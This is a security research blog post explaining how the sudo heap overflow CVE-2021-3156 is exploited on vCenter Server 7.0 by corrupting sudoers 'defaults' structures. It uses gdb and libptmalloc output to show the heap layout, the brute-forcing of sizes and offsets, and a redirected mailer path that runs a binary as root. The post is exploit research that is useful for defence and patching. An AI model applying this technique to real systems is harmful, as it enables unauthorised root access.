TL; DR

I was going to name this blog: "libptmalloc, one tool to rule glibc" :). I am writing this blog for 3 reasons. The first reason is related to detailing the technique of abusing defaults structures to exploit CVE-2021-3156. This technique was made public by the awesome Worawit and an exploit is already available for it, but he didn’t explain it in detail. The second reason is that we are releasing a new version of the libptmalloc tool along with the blog that you may be interested in, if you are into exploiting glibc. The third reason is that we are making public an updated version of the exploit that is more robust and works on vCenter Server.

There has been at least 2 remote code execution (RCE) vulnerabilities recently patched in vCenter Server that resulted in the vsphere-ui permission being obtained but not root:

• CVE-2021-21972: advisory, blog 1, blog 2 and metasploit module
• CVE-2021-21985: advisory, blog and POC

Exploiting CVE-2021-3156 allows privilege elevation from the regular user vsphere-ui to root.

Table of content

• Vulnerability exploitation
• Context
• Exploitation technique overwriting "defaults" structures
  • Heap layout before the overflow
  • From "defaults" structure overwrite to binary execution
    • Source code analysis
    • Debugging with libptmalloc
  • Determining the environment-specific missing bits
    • Determining the right "cmnd size"
    • Determining the right "defaults offset"
    • Summary
• Exploiting Photon OS / vCenter Server
  • Determining the right "cmnd size" and "defaults offset"
  • Getting root on vCenter server
• Conclusion
• Thanks

Vulnerability exploitation

Previously, there have been multiple write-ups and publicly released exploits for this vulnerability. I am only going to mention the great original research from Qualys and awesome additional research from Worawit. Both are quite detailed on the different approaches to exploit this vulnerability on multiple targets and Worawit’s research also includes lots of working exploits.

I highly recommend the resources above, but you can read them independently of this blog. Here is a summary of the important points to understand this blog:

• CVE-2021-3156 is a heap-overflow vulnerability in the sudo binary while parsing command line arguments. The vulnerability allows an attacker to elevate privilege to root when exploited successfully. Since it is a userland vulnerability, there is no risk of crashing the machine when attempting exploitation.
• The vulnerability allows very precise control of:
  • The size of the allocated vulnerable chunk
  • How much data overflows outside the bounds of the vulnerable chunk
  • What data to write to corrupt the adjacent chunks
• This allows various exploitation methods to be leveraged, all having different advantages. This is especially useful due to heterogeneous targets and environments:
  • The sudo binary, once executed by the user and passed the command line arguments, will parse different configuration files (/etc/sudoers, /etc/sudo.conf, /etc/nsswitch.conf) which will significantly influence the heap layout.
  • The glibc version matters a lot. As described by Worawit in his blog, tcache free bins (introduced in glibc 2.26) typically trigger completely different heap layouts than when they are not present.
  • sudo supports a stable branch (1.9.x) and a legacy branch (1.8.x and below). Legacy versions don’t receive new features, so their code can be quite different from the stable release, resulting in potentially different heap layouts.
• The method of exploitation chosen affects the stealthiness of the attack. Some methods allows exploitation in one attempt. Other methods require crashing the sudo binary several times until the right sizes of certain chunks and/or offsets to other chunks and/or bruteforcing ASLR are all valid to allow successful exploitation (Spoiler: we will be more interested in the second case in this blog).

Context

The context of this blog is exploiting CVE-2021-3156 on VMWare vCenter Server 7.0.

vCenter images are typically based on Photon OS. Old vCenter versions use Photon 1.0 whereas vCenter 7 uses Photon 3.0:

root@VCSA-7 [ ~ ]# cat /etc/photon-release 
VMware Photon OS 3.0
PHOTON_BUILD_NUMBER=49d932d

vCenter 7 uses glibc 2.28:

root@VCSA-7 [ ~ ]# tdnf list glibc
glibc.x86_64              2.28-12.ph3                      @System
glibc.x86_64              2.28-2.ph3                        photon
glibc.x86_64              2.28-10.ph3               photon-updates
glibc.x86_64              2.28-11.ph3               photon-updates
glibc.x86_64              2.28-12.ph3               photon-updates
glibc.x86_64              2.28-3.ph3                photon-updates
glibc.x86_64              2.28-4.ph3                photon-updates
glibc.x86_64              2.28-5.ph3                photon-updates
glibc.x86_64              2.28-6.ph3                photon-updates
glibc.x86_64              2.28-7.ph3                photon-updates
glibc.x86_64              2.28-8.ph3                photon-updates
glibc.x86_64              2.28-9.ph3                photon-updates

When starting to debug in gdb and using libptmalloc, we quickly noticed something special. In Photon OS 3, glibc is customised. For instance, the malloc_par structure includes a new arena_stickiness field. Moreover, even though tcache bins were introduced in glibc 2.26 and glibc 2.28 is used on Photon OS, tcache bins were actually disabled at compile time:

sudo versions available on Photon OS are from both the legacy (1.8.x) and the stable (1.9.x) branches:

root@VCSA-7 [ ~ ]# tdnf list sudo
sudo.x86_64              1.8.30-1.ph3                     @System
sudo.x86_64              1.8.23-1.ph3                      photon
sudo.x86_64              1.8.23-2.ph3              photon-updates
sudo.x86_64              1.8.30-1.ph3              photon-updates
sudo.x86_64              1.8.30-2.ph3              photon-updates
sudo.x86_64              1.9.5-1.ph3               photon-updates
sudo.x86_64              1.9.5-2.ph3               photon-updates
sudo.x86_64              1.9.5-3.ph3               photon-updates

Since tcache is disabled, the exploitation method relying on overwriting service_user structures detailed by Worawit in his blog can’t work (more on that later).

The exploitation method that looked the most promising relies on overwriting defaults structures and will be the focus of this blog. This method has a few requirements.

1. tcache is not used. We saw above that this true.
2. /etc/sudoers has Defaults lines, which is true:

root@VCSA-7 [ ~ ]# grep -E "^Defaults" /etc/sudoers
Defaults env_keep += "VMWARE_VAPI_HOME VMWARE_RUN_FIRSTBOOTS VMWARE_DATA_DIR VMWARE_INSTALL_PARAMETER VMWARE_PERFCHARTS VMWARE_LOG_DIR VMWARE_OPENSSL_BIN VMWARE_TOMCAT VMWARE_RUNTIME_DATA_DIR VMWARE_PYTHON_PATH VMWARE_TMP_DIR VMWARE_PERFCHARTS_COMPONENT VMWARE_PYTHON_MODULES_HOME VMWARE_JAVA_WRAPPER VMWARE_TCROOT VMWARE_PYTHON_BIN VMWARE_CLOUDVM_RAM_SIZE VMWARE_VAPI_CFG_DIR VMWARE_CFG_DIR VMWARE_JAVA_HOME VMWARE_COMMON_JARS VMWARE_B2B VMWARE_VAPI_PYTHONPATH VMWARE_CIS_HOME"
Defaults!SCRIPT !syslog

3. sudo is not compiled with --disable-root-mailer, which is true:

root@VCSA-7 [ ~ ]# strings /usr/bin/sudo | grep "--build"
--host=x86_64-unknown-linux-gnu --build=x86_64-unknown-linux-gnu --program-prefix= --disable-dependency-tracking --prefix=/usr --exec-prefix=/usr --bindir=/usr/bin --sbindir=/usr/sbin --sysconfdir=/etc --datadir=/usr/share --includedir=/usr/include --libdir=/usr/lib --libexecdir=/usr/libexec --localstatedir=/var --sharedstatedir=/var/lib --mandir=/usr/share/man --infodir=/usr/share/info --libexecdir=/usr/lib --docdir=/usr/share/doc/sudo-1.8.30 --with-all-insults --with-env-editor --with-pam --with-passprompt=[sudo] password for %p

4. /tmp is not mounted with nosuid. This is not the case, but we can work around it (more on this later):

root@VCSA-7 [ ~ ]# mount | grep /tmp
tmpfs on /tmp type tmpfs (rw,nosuid,nodev)

Testing the public exploit on vCenter Server 7.0, at the date of the research, fails:

vsphere-ui@VCSA-7 [ ~ ]$ python3 exploit_defaults_mailer.py 
...
Traceback (most recent call last):
  File "exploit_defaults_mailer.py", line 402, in 
    main()
  File "exploit_defaults_mailer.py", line 374, in main
    offset_defaults = find_defaults_chunk(argv, env_prefix)
  File "exploit_defaults_mailer.py", line 235, in find_defaults_chunk
    assert exit_code in (256, 11) and has_askpass(err), "cannot find defaults chunk"
AssertionError: cannot find defaults chunk

But why?

Exploitation technique overwriting "defaults" structures

Since the internals of the method relying on overwriting defaults structures hasn’t been publicly detailed to our knowledge, we will first analyse how it works on CentOS 7, which was supported by the original exploit. Then, we will be able to understand why the exploit didn’t work on vCenter Server 7.0 and how we can fix it to have a working exploit.

Heap layout before the overflow

Before going into details on the internals, let’s quickly leverage the power of libptmalloc and analyse the layout of the heap before the allocation where we trigger the overflow.

libptmalloc is all about chunks of memory on the glibc heap. It allows tracking if chunks are allocated or freed, looking at their headers and data. If the chunks are free, we can see in what free bin (tcache, fast, small, large, unsorted) they are. We can analyse chunks linearly in memory. We can also directly look at the free bins themselves and list the chunks present in that bin. But it allows lots of other cool features as well. One of them is adding our own metadata for specific chunks. E.g. it allows implementing a heap allocation tracer by saving the backtrace of every newly allocated chunk. In our case, we are interested in knowing where specific structures like defaults and service_user structures.

E.g. for the defaults structure allocation, the backtrace is:

(gdb) bt
#0  0x0000155553a351e4 in new_default (var=0x5555557d4940 "visiblepw", val=val@entry=0x0, op=) at gram.y:934
#1  0x0000155553a36dfb in sudoersparse () at gram.y:244
#2  0x0000155553a1428c in sudo_file_parse (nss=0x155553c5f4a0 ) at ./parse.c:108
#3  0x0000155553a1bd36 in sudoers_policy_init (info=info@entry=0x7fffffbacdf0, envp=envp@entry=0x7fffffbad110) at ./sudoers.c:193
#4  0x0000155553a15bd7 in sudoers_policy_open (version=, conversation=, plugin_printf=, settings=0x555555786950, user_info=0x5555557790f0, envp=0x7fffffbad110, args=0x0) at ./policy.c:782
#5  0x000055555555955b in policy_open (plugin=0x555555778560 , user_env=0x7fffffbad110, user_info=0x5555557790f0, settings=) at ./sudo.c:1125
#6  main (argc=, argv=0x7fffffbad0d8, envp=0x7fffffbad110) at ./sudo.c:209

We are just after the allocation:

(gdb) x /-i $pc
   0x155553a351df : call   0x155553a03840 
(gdb) x /i $pc
=> 0x155553a351e4 : test   rax,rax

Consequently, the chunk address is rax-0x10 as 0x10 is the size of the malloc_chunk header on x64. The libptmalloc ptchunk command parses the heap memory as an allocated chunk (M) of 0x40 bytes:

(gdb) ptchunk rax-0x10 -M "tag"
0x5555557d4950 M sz:0x00040 fl:--P

Now, we add a metadata which name is tag and value Defaults entry in sudoers (struct defaults)

(gdb) ptmeta add rax-0x10 tag 'Defaults entry in sudoers (struct defaults)'

Using the ptchunk command, we can later retrieve the metadata when printing the chunk!

(gdb) ptchunk rax-0x10 -M "tag"
0x5555557d4950 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |

Automating that, we can log all the defaults and service_user allocations over time. Then, we can analyse the heap layout just before the allocation of the overflowing chunk.

Here, we use the ptlist libptmalloc command. This command allows the user to list chunks of memory linearly from the beginning of the heap. Here we use an option to highlight chunks containing certain metadata with -G (service_user and defaults) and highlight chunks that are unsorted/small/large free chunks or fast free chunks with -I (F for free chunk and f for fast free chunk). In a normal scenario, the highlighted chunks would just be preceded with a star * and the other chunks would still be printed. However, here we specify --highlight-only to only shows the matching chunks. This means in the output below, it is missing lots of intermediate chunks between the ones that are actually printed. The printed chunks are in this order in memory, as can be confirmed by the increasing addresses!

(gdb) ptlist -M 'tag, color' -G 'service_user, struct defaults' -I 'F, f' --highlight-only
flat heap listing for arena @ 0x1555548c1760
* 0x555555779090 M sz:0x00050 fl:--P | nss service (struct service_user) |
* 0x555555779290 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x5555557792d0 M sz:0x00040 fl:--P | nss service (struct service_user) |
...
* 0x55555577a1a0 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555577a200 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x55555577a240 M sz:0x00040 fl:--P | nss service (struct service_user) |
* 0x5555557d4950 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557d4fc0 F sz:0x01b50 fl:--P
* 0x5555557dac50 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dacd0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dad60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dade0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daea0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daf60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db020 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db0e0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db1a0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db250 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db900 F sz:0x17700 fl:--P | N/A | (top)
0x5555557f3000 (sbrk_end)
Total of 39 chunks

There is a lot of interesting things to read from the previous output:

• There aren’t many free chunks (a.k.a holes). Since we are showing all of them, there is effectively just one free chunk at address 0x5555557d4fc0 (and the top chunk which is the rest of the heap).
• The only free chunk is after the service_user chunks. So we can’t corrupt these, as mentioned by Worawit in his blog. This is due to glibc not having tcache bins.
• Some defaults structures are after the free chunk, so we can indeed plan to use the hole for the overflowing chunk and abuse the corrupted defaults structures to elevate privileges (more on that later). On a side note, we see there is quite some space between the end of the overflowing chunk 0x5555557d4fc0+0x1b50=0x5555557d6b10 and the first defaults chunk we can target 0x5555557dac50, so we need that everything that is in between that gets corrupted to not be used before we can abuse our corrupted defaults structure.

From "defaults" structure overwrite to binary execution

Worawit mentions that this technique allows to execute your own binary as root, when the sudo code tries to call into another binary a.k.a. the sendmail binary, which is used by sudo to send an email whenever an error occurs. In a normal scenario, the mailerpath can be redefined using the /etc/sudoers configuration file but crafting fake defaults structures in memory should be enough to trigger this same mechanism, right?

Source code analysis

Let’s analyse the source code of the send_mail() function.

Some checks on def_mailerpath happen at [0]/[1]. We redacted some code at [2] that executes fork() to allow executing the sendmail binary in the background as well as redirect stdin/stdout/stderr to /dev/null. At [3] it gets a reference to def_mailerpath which is supposed to contain the path to the sendmail binary (generally /usr/bin/sendmail) and builds argv[] arguments. At [4], if --disable-root-mailer was not set at sudo compile time, it is going to execute the sendmail binary as root. Otherwise at [5], it will execute sendmail as normal user.

So if we happen to change the sendmail path somehow, it will execute our own binary as root!

But interestingly, def_mailerpath is an alias for accessing an element of the sudo_defs_table[] table which contains sudo_defs_types whereas defaults structures are of completely different types!

So how do we go from corrupting a defaults structure to changing the def_mailerpath entry before execve() is called?

It turns out if you craft the defaults structures well enough, it will update def_mailerpath in update_defaults(). It is confirmed by a comment in the snippet below since def_mailerpath is part of the sudo_defs_table[] array:

Let’s see what happens in set_cmnd() which is the function where the overflow occurs:

At [6], the buffer is allocated and we completely control the size of the allocation. At [7], data is copied into that buffer and due to the vulnerability, we control the size of the data copied outside of that buffer. This means we can corrupt adjacent defaults structures on the heap. As we saw earlier, they are not necessarily immediately adjacent to the overflown chunk, so there may be other chunks corrupted before hitting the target chunk. Then at [8], update_defaults() is called, resulting in updating def_mailerpath according to the previously corrupted defaults structures. Finally at [9], log_warningx logs an error. send_mail() ends up being called and execve() is called on the controlled def_mailerpath.

Debugging with libptmalloc

Now let’s debug it. We break in the debugger before the vulnerable buffer allocation:

(gdb) bt
#0  set_cmnd () at ./sudoers.c:865
#1  sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x7fffffbad0f8, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, closure=closure@entry=0x7fffffbacdf0) at ./sudoers.c:310
#2  0x0000155553a15654 in sudoers_policy_check (argc=2, argv=0x7fffffbad0f8, env_add=0x0, command_infop=0x7fffffbace78, argv_out=0x7fffffbace80, user_env_out=0x7fffffbace88) at ./policy.c:857
#3  0x0000555555559341 in policy_check (plugin=0x555555778560 , user_env_out=0x7fffffbace88, argv_out=0x7fffffbace80, command_info=0x7fffffbace78, env_add=0x0, argv=0x7fffffbad0f8, argc=2) at ./sudo.c:1179
#4  main (argc=, argv=, envp=0x7fffffbad110) at ./sudo.c:245

We have the following memory layout, with just the 0x1b50 large hole:

(gdb) ptlist -M 'tag, color' -G 'struct defaults' -I 'F, f' --highlight-only
flat heap listing for arena @ 0x1555548c1760
* 0x5555557d4950 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557d4fc0 F sz:0x01b50 fl:--P
* 0x5555557dac50 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dacd0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dad60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dade0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daea0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daf60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db020 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db0e0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db1a0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db250 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db900 F sz:0x17700 fl:--P | N/A | (top)
0x5555557f3000 (sbrk_end)
Total of 13 chunks

The first defaults structure after the large hole is still unmodified:

(gdb) p *(struct defaults*)(0x5555557dac50+0x10)
$2 = {
  entries = {
    tqe_next = 0x5555557dace0,
    tqe_prev = 0x5555557d4960
  },
  var = 0x5555557dac40 "always_set_home",
  val = 0x0,
  binding = 0x5555557daca0,
  file = 0x5555557d4004 "/etc/sudoers",
  type = 265,
  op = 1 ' 01',
  error = 0 ' 00',
  lineno = 64
}

Then we break after the allocation. Assuming we know the large hole size to be 0x1b50, we can make it allocated into that previous large hole:

(gdb) ptlist -M 'tag, color' -G 'struct defaults, overflow' -I 'F, f' --highlight-only
flat heap listing for arena @ 0x1555548c1760
* 0x5555557d4950 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557d4fc0 M sz:0x01b50 fl:--P | user_args (overflowing buffer) |
* 0x5555557dac50 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dacd0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dad60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dade0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daea0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daf60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db020 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db0e0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db1a0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db250 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db900 F sz:0x17700 fl:--P | N/A | (top)
0x5555557f3000 (sbrk_end)
Total of 13 chunks

Then we break after the overflow. Since we corrupted with invalid data, libptmalloc is unable to parse chunks of memory after the end of the user_args chunk:

(gdb) ptlist -M 'tag, color' -G 'struct defaults, overflow' -I 'F, f' --highlight-only
flat heap listing for arena @ 0x1555548c1760
* 0x5555557d4950 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557d4fc0 M sz:0x01b50 fl:--P | user_args (overflowing buffer) |
[!] Could not read nextchunk (@0x4141969696beac50) size. Invalid chunk address?
Total of 2 chunks

However, assuming we know the offset between the end of the user_args chunk and the following defaults chunk, we can corrupt it and craft a fake mailerpath:

(gdb) p *(struct defaults*)(0x5555557dac50+0x10)
$3 = {
  entries = {
    tqe_next = 0x7fffffff1090,
    tqe_prev = 0x4141414141414141
  },
  var = 0x7fffffff1050 "mailerpath",
  val = 0x7fffffff1060 "/tmp/hh",
  binding = 0x7fffffff1020,
  file = 0x7fffffff1020 "",
  type = 269,
  op = 1 ' 01',
  error = 0 ' 00',
  lineno = 64
}

Then we break when send_mail is called. We see it is called from log_warningx() previously mentioned:

(gdb) bt
#0  send_mail (fmt=0x155553a458ee "%s", fmt=0x155553a458ee "%s") at ./logging.c:639
#1  0x0000155553a128f3 in vlog_warning (flags=flags@entry=12, fmt=fmt@entry=0x155553a475dd "problem with defaults entries", ap=ap@entry=0x7fffffbacc40) at ./logging.c:553
#2  0x0000155553a12c36 in log_warningx (flags=flags@entry=12, fmt=fmt@entry=0x155553a475dd "problem with defaults entries") at ./logging.c:627
#3  0x0000155553a1cea1 in set_cmnd () at ./sudoers.c:912
#4  sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x7fffffbad0f8, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, closure=closure@entry=0x7fffffbacdf0) at ./sudoers.c:310
#5  0x0000155553a15654 in sudoers_policy_check (argc=2, argv=0x7fffffbad0f8, env_add=0x0, command_infop=0x7fffffbace78, argv_out=0x7fffffbace80, user_env_out=0x7fffffbace88) at ./policy.c:857
#6  0x0000555555559341 in policy_check (plugin=0x555555778560 , user_env_out=0x7fffffbace88, argv_out=0x7fffffbace80, command_info=0x7fffffbace78, env_add=0x0, argv=0x7fffffbad0f8, argc=2) at ./sudo.c:1179
#7  main (argc=, argv=, envp=0x7fffffbad110) at ./sudo.c:245

We see the def_mailerpath which is part of the sudo_defs_table[] array was changed as well:

(gdb) p sudo_defs_table[39]
$3 = {
  name = 0x155553a4a9ac "mailerpath",
  type = 771,
  desc = 0x155553a4a9b7 "Path to mail program: %s",
  values = 0x0,
  callback = 0x0,
  sd_un = {
    flag = 1434267968,
    ival = 1434267968,
    uival = 1434267968,
    tuple = 1434267968,
    str = 0x5555557d3140 "/tmp/hh",
    mode = 1434267968,
    tspec = {
      tv_sec = 93824994849088,
      tv_nsec = 0
    },
    list = {
      slh_first = 0x5555557d3140
    }
  }
}

Now we let it call execve() and it executes our controlled binary /tmp/hh and hits our breakpoint in it:

Thread 6.1 "hh" hit Catchpoint 58 (exec'd /tmp/hh), 0x0000000000400ae0 in ?? ()

Thread 6.1 "hh" received signal SIGTRAP, Trace/breakpoint trap.
printf (__fmt=) at /usr/include/x86_64-linux-gnu/bits/stdio2.h:104
104   return __printf_chk (__USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ());
(gdb) bt
#0  printf (__fmt=) at /usr/include/x86_64-linux-gnu/bits/stdio2.h:104
#1  main () at bin.c:46
(gdb) x /-2i $pc
   0x400632 : call   0x44bc70 
   0x400637 : int3  

Determining the environment-specific missing bits

A careful reader may have noticed a few hypotheses we made that are quite strong. Let’s go back to our memory layout pre-allocation. Previously to being able to trigger a call to our controlled binary as root, we need to know:

• The size of the large hole, so the vulnerable buffer gets allocated in that hole. In the below case the size is 0x1b50.
• The offset between the end of this hole and the first defaults structure later on the heap. In the below case it is 0x4140 (0x5555557dac50-(0x5555557d4fc0+0x1b50)=0x4140)

(gdb) ptlist -M 'tag, color' -G 'struct defaults' -I 'F, f' --highlight-only
flat heap listing for arena @ 0x1555548c1760
* 0x5555557d4950 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557d4fc0 F sz:0x01b50 fl:--P
* 0x5555557dac50 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dacd0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dad60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557dade0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daea0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557daf60 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db020 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db0e0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db1a0 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db250 M sz:0x00040 fl:--P | Defaults entry in sudoers (struct defaults) |
* 0x5555557db900 F sz:0x17700 fl:--P | N/A | (top)
0x5555557f3000 (sbrk_end)
Total of 13 chunks

We will refer to them as the "cmnd size" and the "defaults offset" as they are respectively the size of the cmnd arguments and the offset to the first adjacent defaults chunk.

In order to determine them, Worawit’s exploit uses bruteforce and differentiates crashes at different places due to sudo‘s return value and printed messages (more on this below).

Note: In reality, in addition to the above offset requirements, because of the defaults structure requiring pointers to valid data, there is also a need to bypass ASLR, but we won’t go into details on this as it is basically just possible due to a weak ASLR and bruteforce, once the above "cmnd size" and "defaults offset" have been successfully found by bruteforce in the first place.

So how to determine the right "cmnd size" and "defaults offset"?

Determining the right "cmnd size"

The first task is to determine the right "cmnd size".

If the "cmnd size" is too small, it results into a SIGABRT(6) with the following backtrace:

Program terminated with signal SIGABRT, Aborted.

warning: Unexpected size of section `.reg-xstate/112' in core file.
#0  0x00007ffff6fd9387 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:55
55    return INLINE_SYSCALL (tgkill, 3, pid, selftid, sig);
#0  0x00007ffff6fd9387 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:55
#1  0x00007ffff6fdaa78 in __GI_abort () at abort.c:90
#2  0x00007ffff701bef7 in __libc_message (do_abort=2, fmt=fmt@entry=0x7ffff712e410 "*** Error in `%s': %s: 0x%s ***n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:196
#3  0x00007ffff7025ac6 in malloc_printerr (ar_ptr=0x7ffff736a760 , ptr=0x55555578a530, str=0x7ffff712bc5a "malloc(): memory corruption", action=) at malloc.c:4967
#4  _int_malloc (av=av@entry=0x7ffff736a760 , bytes=bytes@entry=524288) at malloc.c:3469
#5  0x00007ffff702871c in __GI___libc_malloc (bytes=524288) at malloc.c:2905
#6  0x00007ffff64e75c9 in sudo_make_gidlist_item (pw=0x555555788588, unused1=, type=1) at ./pwutil_impl.c:274
#7  0x00007ffff64e643d in sudo_get_gidlist (pw=0x555555788588, type=type@entry=1) at ./pwutil.c:921
#8  0x00007ffff64c2181 in runas_setgroups () at ./set_perms.c:1704
#9  set_perms (perm=perm@entry=5) at ./set_perms.c:272
#10 0x00007ffff64bcbd8 in sudo_file_lookup (nss=0x7ffff67084a0 , validated=96, pwflag=0) at ./parse.c:208
#11 0x00007ffff64c5b14 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x7fffffff9718, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, closure=closure@entry=0x7fffffff9420) at ./sudoers.c:330
#12 0x00007ffff64be654 in sudoers_policy_check (argc=2, argv=0x7fffffff9718, env_add=0x0, command_infop=0x7fffffff94a8, argv_out=0x7fffffff94b0, user_env_out=0x7fffffff94b8) at ./policy.c:857
#13 0x0000555555559341 in policy_check (plugin=0x555555778560 , user_env_out=0x7fffffff94b8, argv_out=0x7fffffff94b0, command_info=0x7fffffff94a8, env_add=0x0, argv=0x7fffffff9718, argc=2) at ./sudo.c:1179
#14 main (argc=, argv=, envp=0x7fffffff9730) at ./sudo.c:245

Analysing the backtrace, we see it crashes when trying to find a chunk in the unsorted free bin. This makes total sense as when the "cmnd size" is too small, the allocated buffer takes part of the large hole and leaves an adjacent hole for future allocations. This hole is effectively a free chunk saved in the unsorted free bin. This free chunk’s header will get corrupted by the overflow. When another allocation needs to take that chunk from the unsorted free bin, glibc aborts at [c1] due to a bad chunk header:

If the "cmnd size" is too big, it results into a SIGSEGV(11) with the following backtrace:

Program terminated with signal SIGSEGV, Segmentation fault.

warning: Unexpected size of section `.reg-xstate/114' in core file.
#0  _int_malloc (av=av@entry=0x7ffff736a760 , bytes=bytes@entry=524288) at malloc.c:3780
3780        set_head(remainder, remainder_size | PREV_INUSE);
#0  _int_malloc (av=av@entry=0x7ffff736a760 , bytes=bytes@entry=524288) at malloc.c:3780
#1  0x00007ffff702871c in __GI___libc_malloc (bytes=524288) at malloc.c:2905
#2  0x00007ffff64e75c9 in sudo_make_gidlist_item (pw=0x555555788588, unused1=, type=1) at ./pwutil_impl.c:274
#3  0x00007ffff64e643d in sudo_get_gidlist (pw=0x555555788588, type=type@entry=1) at ./pwutil.c:921
#4  0x00007ffff64c2181 in runas_setgroups () at ./set_perms.c:1704
#5  set_perms (perm=perm@entry=5) at ./set_perms.c:272
#6  0x00007ffff64bcbd8 in sudo_file_lookup (nss=0x7ffff67084a0 , validated=96, pwflag=0) at ./parse.c:208
#7  0x00007ffff64c5b14 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x7fffffff8f98, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, closure=closure@entry=0x7fffffff8ca0) at ./sudoers.c:330
#8  0x00007ffff64be654 in sudoers_policy_check (argc=2, argv=0x7fffffff8f98, env_add=0x0, command_infop=0x7fffffff8d28, argv_out=0x7fffffff8d30, user_env_out=0x7fffffff8d38) at ./policy.c:857
#9  0x0000555555559341 in policy_check (plugin=0x555555778560 , user_env_out=0x7fffffff8d38, argv_out=0x7fffffff8d30, command_info=0x7fffffff8d28, env_add=0x0, argv=0x7fffffff8f98, argc=2) at ./sudo.c:1179
#10 main (argc=, argv=, envp=0x7fffffff8fb0) at ./sudo.c:245

This time, the allocated buffer does not take the large hole (since it is not big enough!). Instead, the buffer is allocated using the top chunk and it leaves a new smaller top chunk adjacent to the allocated buffer. Interestingly, this time, it does not crash due to a bad chunk header since there is no check in glibc for the top chunk, but instead it segmentation faults at [c2] when trying to compute the new top chunk:

This difference is enough to differentiate between the two different overflow states and figure out the right "cmnd size" to fit exactly in the large hole.

In order to speed up the search, we can use the well-known dichotomy method, as detailed in this table:

So the right "cmnd size" is 0x1b50.

Determining the right "defaults offset"

Now that we know the right "cmnd size", we can increase the overflowing size until we reach a target defaults structure.

Let’s analyse this code snippet:

If we haven’t yet overwritten the defaults structure, i.e. if the "defaults offset" we attempt during bruteforce is too small, sudo will crashes at [c] above. It will be in a call to check_user -> ... -> tgetpass() -> sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS"));. In practice, sudo will show the "no askpass" error message which we can detect, and then trigger a SIGABRT(6) while trying to free some objects. The corresponding backtrace is the following:

Program terminated with signal SIGABRT, Aborted.

warning: Unexpected size of section `.reg-xstate/120' in core file.
